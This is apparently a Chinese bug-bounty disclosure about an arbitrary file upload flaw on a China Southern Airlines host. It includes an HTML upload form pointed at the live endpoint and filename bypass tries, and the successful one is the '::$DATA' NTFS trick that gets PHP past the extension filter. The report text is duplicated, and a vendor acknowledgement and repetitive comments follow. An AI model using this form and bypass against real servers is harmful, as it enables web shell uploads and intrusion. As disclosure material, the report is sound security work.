中国南方航空公司某站存在任意文件上传漏洞（Windows技巧绕过限制）

<form action="http://pss.csair.com/enableq/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
 
   <input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
 
   <input type="file" name="uploadedfile_1" id="fileField" />
 
   <input type="submit" name="button" id="button" value="submit" />
 
 </form>

直接上传php不行。

试了一下

Test.php:a.jpg //重命名为jpg

test.php. //可以但是重命名为jpg

test.php::$DATA //成功

<form action="http://pss.csair.com/enableq/Android/FileUpload.php?optionID=1" method="post" enctype="multipart/form-data" name="form1" id="form1">
 
   <input type="hidden" name ="uploadFileName" value="uploadedfile_1" />
 
   <input type="file" name="uploadedfile_1" id="fileField" />
 
   <input type="submit" name="button" id="button" value="submit" />
 
 </form>

直接上传php不行。

试了一下

Test.php:a.jpg //重命名为jpg

test.php. //可以但是重命名为jpg

test.php::$DATA //成功

过滤上传后缀

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-03-29 16:49

厂商回复：

多谢提交。

最新状态：

暂无

1. 2016-03-29 16:48 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

   1

   Windows突破限制的小技巧～

   1# 回复此人

2. 2016-03-29 20:43 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

   1

   Windows突破限制的小技巧～

   2# 回复此人

3. 2016-04-13 19:54 | 学习委员 ( 普通白帽子 | Rank:121 漏洞数:9 | 人生真是寂寞如雪！)

   1

   Windows突破限制的小技巧～

   3# 回复此人

4. 2016-04-27 11:00 | Lar2y ( 实习白帽子 | Rank:31 漏洞数:12 | 有活跃团队要人么？求带飞)

   0

   Windows突破限制的小技巧～

   4# 回复此人

5. 2016-05-13 17:32 | fun ( 实习白帽子 | Rank:50 漏洞数:22 | 做自己喜欢的事。)

   0

   Windows突破限制的小技巧～

   5# 回复此人

6. 2016-05-14 00:02 | U神 ( 核心白帽子 | Rank:1375 漏洞数:153 | 乌云核心菜鸟，此号长期由联盟托管，如果近...)

   0

   有内容？

   6# 回复此人

7. 2016-05-19 09:57 | dragon110 ( 路人 | Rank:12 漏洞数:6 | 其实我是龙6)

   0

   Windows突破限制的小技巧～

   7# 回复此人